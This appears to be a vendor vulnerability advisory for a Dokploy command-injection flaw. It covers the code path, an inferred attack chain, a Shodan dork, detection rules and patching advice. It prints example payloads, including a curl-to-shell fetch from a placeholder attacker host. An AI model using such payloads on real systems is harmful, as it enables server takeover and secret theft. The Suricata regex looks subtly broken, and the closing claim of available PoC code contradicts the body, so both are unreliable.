CVE-2026-72870
Executive Summary
CVE-2026-72870 is an authenticated operating-system command injection vulnerability (CWE-78) in Dokploy, a free, self-hostable Platform as a Service (PaaS) solution. All Dokploy deployments prior to version 0.29.13 are affected. The flaw exists in the buildRemoteDocker() function in packages/server/src/utils/providers/docker.ts, where the application-controlled dockerImage value is interpolated directly into a docker pull shell command executed via execAsync(). An authenticated user with project access can set a crafted dockerImage through application.update and trigger application.deploy, achieving arbitrary operating-system command execution as the Dokploy server process. No public exploit code and no CISA KEV listing were identified at the time of analysis; the vendor-supplied fix is confirmed only by a single OSV source (patch confidence 2/4).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability class is classic OS command injection (CWE-78) in a server-side Node.js application. According to the NVD description, the vulnerable code path is as follows:
- The Dokploy build pipeline for remote Docker deployments calls the
buildRemoteDocker()function located inpackages/server/src/utils/providers/docker.ts. - This function constructs a shell command string intended to execute
docker pull <image>. - The
<image>portion is derived directly from thedockerImagevalue, which is supplied by the application client through theapplication.updatemutation and later consumed duringapplication.deploy. - The fully composed string is passed to
execAsync(), which spawns a shell (/bin/sh) to evaluate the command. Because thedockerImagevalue is not sanitized or parameterized, shell metacharacters (e.g.,;,&&,|,$(), backticks) injected intodockerImageare interpreted by the shell, allowing an attacker to append arbitrary commands to the intendeddocker pullinvocation.
The attack surface is post-authentication: the attacker must hold a valid account with project access on a Dokploy instance. From there, the privileges required are the same as those needed to modify a project's deployment configuration — no administrative rights are explicitly stated as required by the available description. The command execution occurs with the privileges of the Dokploy server process, which typically runs as a privileged container or service account with access to the Docker socket, environment variables, and persisted project secrets.
The NVD description does not disclose the exact HTTP transport (e.g., the GraphQL endpoint or REST route) used to invoke application.update and application.deploy; however, the mutation/action naming strongly suggests the standard Dokploy project configuration workflow. Insufficient technical detail is available to specify the exact request format, headers, or authentication token schema.
The CVSS score and vector are unpublished (N/A). Based on the vulnerability class, an authenticated command injection resulting in server-process RCE would conventionally score in the high-to-critical range under CVSSv3.1 (roughly AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H), but this is an analytical estimate and must not be treated as an official score. The EPSS score is 0.00278 (20.3% percentile), indicating a low modeled probability of exploitation in the wild as of the scoring date.
Exploitation Scenarios
No public PoC or exploit code is available; the attack chain below is inferred strictly from the vulnerability class and the details present in the NVD description.
Step 1 — Reconnaissance / target identification. An attacker identifies Internet-exposed Dokploy control panels using Shodan dorks such as http.title:"Dokploy". The attacker then harvests or guesses credentials for an account that holds project access. This can be achieved through credential stuffing, phishing, or reuse of credentials leaked in prior breaches. Dokploy is self-hosted, so no centralized account lockout policy is guaranteed across all deployments.
Step 2 — Triggering the vulnerable code path. With a valid authenticated session, the attacker uses the application.update action to modify an existing project's deployment configuration. Specifically, the dockerImage field is set to a malicious value rather than a legitimate container image name. The attacker then invokes application.deploy, which routes the build process to buildRemoteDocker().
Step 3 — Payload execution at the vulnerability-class level. Because dockerImage is concatenated into a docker pull ... shell command, the attacker crafts the value to terminate the intended command and chain a new one, for example appending shell metacharacters followed by an arbitrary command. The resulting command line is evaluated by the shell spawned inside execAsync(). Example payload shapes (class-level, not verbatim exploit code): image:latest;curl <attacker>/x|sh or image:latest$(id>/tmp/pwned). The injected command executes as the Dokploy server process.
Step 4 — Post-exploitation impact. The attacker now has arbitrary command execution on the host/container running Dokploy. This yields access to environment variables, database credentials, deployment secrets, the Docker socket if mounted, and configuration files of all projects managed by the instance. From this position, the attacker can pivot to internal networks, tamper with deployed applications (supply-chain style modification of customer-facing services), or exfiltrate sensitive data.
Additional notes. The attack requires authentication, which lowers the immediate external risk but does not eliminate it — any compromised low-privilege project user can escalate to server-level RCE. The absence of a public PoC does not preclude in-the-wild exploitation; the flaw is trivially discoverable through code review of the named function.
Impact Assessment
Business impact. Successful exploitation grants full remote code execution in the context of the Dokploy server process. Because Dokploy orchestrates application deployments, the compromised process typically holds high-value credentials: registry tokens, database connection strings, API keys, and the ability to modify running applications. The integrity, confidentiality, and availability of all applications deployed via the affected Dokploy instance are at risk. A compromised PaaS control plane is effectively a single point of failure for every tenant project on that server.
Affected systems. All Dokploy installations running versions prior to 0.29.13. The OSV package entry lists the affected range as 0 → unfixed for an unknown package path, indicating the advisory is broad and the exact package versioning is not fully enumerated in the provided data. Self-hosted instances reachable from the Internet or from untrusted internal networks are the most exposed.
Blast radius. Low-privilege authenticated users (project access) can escalate to server-level RCE. In multi-tenant or multi-project Dokploy deployments, a compromise of one project's account leads to full control of the server and all co-located projects. The Dokploy server process's privileges determine the true impact: if the process runs as root or has Docker socket access, host-level container breakout and OS-level compromise are possible.
Scoring context. CVSS: N/A (official). EPSS: 0.00278 (low current exploitation probability). CISA KEV: NO — the vulnerability is not known to have been exploited in the wild per CISA's catalog at the time of writing. No threat-actor campaigns have been publicly attributed to this CVE.
Detection Guidance
Detection should focus on two observable planes: (1) process-level anomalies on the Dokploy server — a Node.js process spawning a shell that executes docker pull with embedded metacharacters — and (2) network/API-level anomalies — authenticated requests carrying a dockerImage value containing shell metacharacters. The rules below are realistic starting points and must be tuned to local logging coverage, log source naming, and the application's normal operational behavior.
Sigma Rule
title: CVE-2026-72870 - Dokploy buildRemoteDocker Command Injection
id: 5f8c1a03-9d4b-4e7a-b2c6-6a9f1de27e10
status: experimental
description: >
Detects child shell processes spawned by the Dokploy Node.js server that
execute 'docker pull' with shell metacharacters, indicative of command
injection via the dockerImage parameter (CVE-2026-72870).
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-72870
author: Valtersit Threat Intelligence
date: 2026-05-22
logsource:
category: process_creation
product: linux
detection:
selection:
ParentImage|endswith:
- '/node'
- '/nodejs'
- '/dokploy/server'
Image|endswith:
- '/sh'
- '/bash'
- '/dash'
CommandLine|contains|all:
- 'docker'
- 'pull'
CommandLine|contains:
- ';'
- '&&'
- '||'
- '$('
- '`'
- '|'
condition: selection
falsepositives:
- Legitimate interactive shells opened by operators on the server container
- Maintenance scripts invoking docker pull from an interactive shell
level: high
tags:
- attack.t1190
- attack.t1068
- cve.2026.72870
- cwe.78
YARA Rule
rule CVE_2026_72870_Dokploy_dockerImage_CommandInjection
{
meta:
author = "Valtersit Threat Intelligence"
description = "Detects payloads, logs, and request artifacts associated with CVE-2026-72870, OS command injection in Dokploy buildRemoteDocker()"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-72870"
date = "2026-05-22"
cve = "CVE-2026-72870"
cwe = "CWE-78"
strings:
$a_docker_pull = "docker pull" ascii wide nocase
$a_docker_image = "dockerImage" ascii wide nocase
$a_update = "application.update" ascii wide nocase
$a_deploy = "application.deploy" ascii wide nocase
$a_build_remote = "buildRemoteDocker" ascii wide nocase
$m_semicolon = ";" ascii wide
$m_dollar = "$(" ascii wide
$m_backtick = "`" ascii wide
$m_andand = "&&" ascii wide
$m_pipe = "|" ascii wide
$m_redirect = ">" ascii wide
condition:
(uint32(0) == 0x464C457F or uint16(0) == 0x5A4D or filesize < 20MB)
and 1 of ($a_*)
and 2 of ($m_*)
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2026-72870 Dokploy dockerImage Command Injection Attempt"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"dockerImage"; nocase; pcre:"/dockerImage[\"']?\s*[:=]\s*[\"'][^\"']*(?:\$\{?|`|;|||&&)[^\"']*[\"']/i"; reference:cve,2026-72870; classtype:attempted-admin; sid:2026728701; rev:1;)
Implementation note: this rule inspects HTTP request bodies for a dockerImage field containing shell metacharacters. Adjust the destination IP scope (any any) to the Dokploy server subnet to reduce noise, and pair it with TLS-decryption inspection (or deploy at a point where encrypted traffic is already decrypted), since production deployments will typically use HTTPS.
Elastic Detection
process where event.category == "process" and event.type == "start"
and process.parent.name in ("node", "nodejs")
and process.name in ("sh", "bash", "dash", "zsh")
and process.command_line : "*docker*pull*"
and (process.command_line : "*;*" or process.command_line : "*&&*" or process.command_line : "*||*"
or process.command_line : "*$(*" or process.command_line : "*`*")
Implementation note: this EQL query matches child shell processes of the Node.js Dokploy server that reference docker pull and contain shell control characters. For Elastic Agent with endpoint protection, restrict the query to the Dokploy host via host.name : "dokploy-*" or an asset-criticality tag.
Splunk SPL Query
index=* (sourcetype=auditd OR sourcetype="linux:audit" OR sourcetype="ProcessRollup2" OR source="WinEventLog:Sysmon")
| where parent_process_name IN ("node","nodejs")
AND process_name IN ("sh","bash","dash")
AND match(command_line, "(?i)docker\s+pull")
AND match(command_line, "[;&|`$]")
| table _time, host, user, parent_process_name, parent_process_id, process_name, process_id, command_line
| sort - _time
Implementation note: replace index=* and sourcetypes with those present in your environment (e.g., index=linux with sourcetype=auditd). The SPL assumes process-creation telemetry (Sysmon, auditd, or EDR) is ingested. Add a lookup to filter to the Dokploy host if the environment is large.
Wazuh OSSEC Rule
<group name="dokploy,">
<rule id="100728" level="15" frequency="1">
<decoded>auditd</decoded>
<field name="audit.data.syscall">execve</field>
<match>docker pull</match>
<regex>(\$\{|;|\|\||&&|`|\|)</regex>
<description>CVE-2026-72870: Possible OS command injection via Dokploy buildRemoteDocker dockerImage parameter.</description>
<mitre>
<id>T1190</id>
</mitre>
<group>attack.t1190,attack.t1068,cwe.78</group>
</rule>
</group>
Implementation note: the rule assumes auditd is configured on the Dokploy host and its logs are routed into Wazuh with the decoded field set to auditd. If using syscheck or custom command log collection instead, adapt the <decoded> and <field> elements to match your log source. A high severity level (15) is used because the pattern indicates shell metacharacters in a docker pull invocation originating from the application server process.
Mitigation & Patch Guidance
Patch confidence assessment. The fix claim originates from a single source (OSV) identifying version 0.29.13 as the patched release. This has a confidence rating of 2/4 (CLAIMED), meaning the patch is asserted but not independently confirmed by a second authoritative source (e.g., a vendor security advisory or changelog entry). Organizations should verify the patched version's integrity and confirm the vulnerable code path has been remediated before declaring closure.
1) Immediate mitigations (before patching):
- Restrict authenticated access: minimize the number of users with project access; revoke access for accounts that do not require it; enforce strong, unique passwords and MFA on the Dokploy authentication mechanism if supported.
- Review project-level permissions: treat every project-access user as a potential RCE vector and reduce the project count those accounts can modify.
- Monitor for anomalous
application.updateandapplication.deployactivity, particularly changes to thedockerImagefield that contain shell metacharacters,curl,wget, or base64-encoded data. - Run the Dokploy server process with the least privileges possible: use a non-root service account, a read-only root filesystem, and avoid mounting the host Docker socket where not strictly required. Network-segment the Dokploy host to limit post-exploitation pivot options.
- Audit logs and process telemetry for the patterns in the detection rules above.
2) Patch / upgrade steps:
- Upgrade Dokploy to version 0.29.13 or later as soon as possible, per the vendor's official upgrade documentation for self-hosted deployments.
- After upgrading, verify the running version (
docker ps/ version endpoint or package manager output) and re-check that thedockerImagevalue passed tobuildRemoteDocker()is validated or sanitized — e.g., restricted to an allowlist of registry/image name characters. - Because patch confidence is 2/4, validate that the upgrade actually removes the shell interpolation behavior by reviewing the updated
packages/server/src/utils/providers/docker.tssource or consulting the upstream repository's release notes.
3) Long-term hardening:
- Apply input validation at the API layer:
dockerImageshould match a strict pattern (e.g.,[a-zA-Z0-9.\-_/]+:[a-zA-Z0-9.\-_]+) and should never be concatenated into shell strings; preferexecFile()with an argument array overexecAsync()for all subprocess invocation. - Harden the container/host environment: run Dokploy with seccomp/apparmor profiles, Capabilities restrictions, and no
--privilegedflag. - Establish a secrets management practice so that the Dokploy server process does not hold standing credentials to production environments.
- Subscribe to OSV/NVD feeds and the Dokploy project's security announcements for follow-up advisories, given the single-source patch confirmation.
References
- NVD entry for CVE-2026-72870: https://nvd.nist.gov/vuln/detail/CVE-2026-72870
- OSV vulnerability entry (patch source): https://osv.dev/vulnerability/CVE-2026-72870
- Dokploy project / vendor product page: https://dokploy.com (source repository: https://github.com/Dokploy/dokploy)
- CISA Known Exploited Vulnerabilities catalog (CVE-2026-72870 is NOT listed at the time of writing): https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- MITRE ATT&CK technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
Threat actor / in-the-wild notes. As of the analysis date there is no CISA KEV listing, no public exploit code, no Nuclei template, and no reported threat-actor campaign associated with CVE-2026-72870. The EPSS score of 0.00278 (20.3% percentile) reflects a low modeled probability of exploitation; however, the vulnerability class (authenticated command injection with trivial predictable payloads) is a historically favored target for botnet and cryptocurrency-mining campaigns once scanner coverage increases. Security teams are advised to prioritize patching over relying on the currently low exploitation probability.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.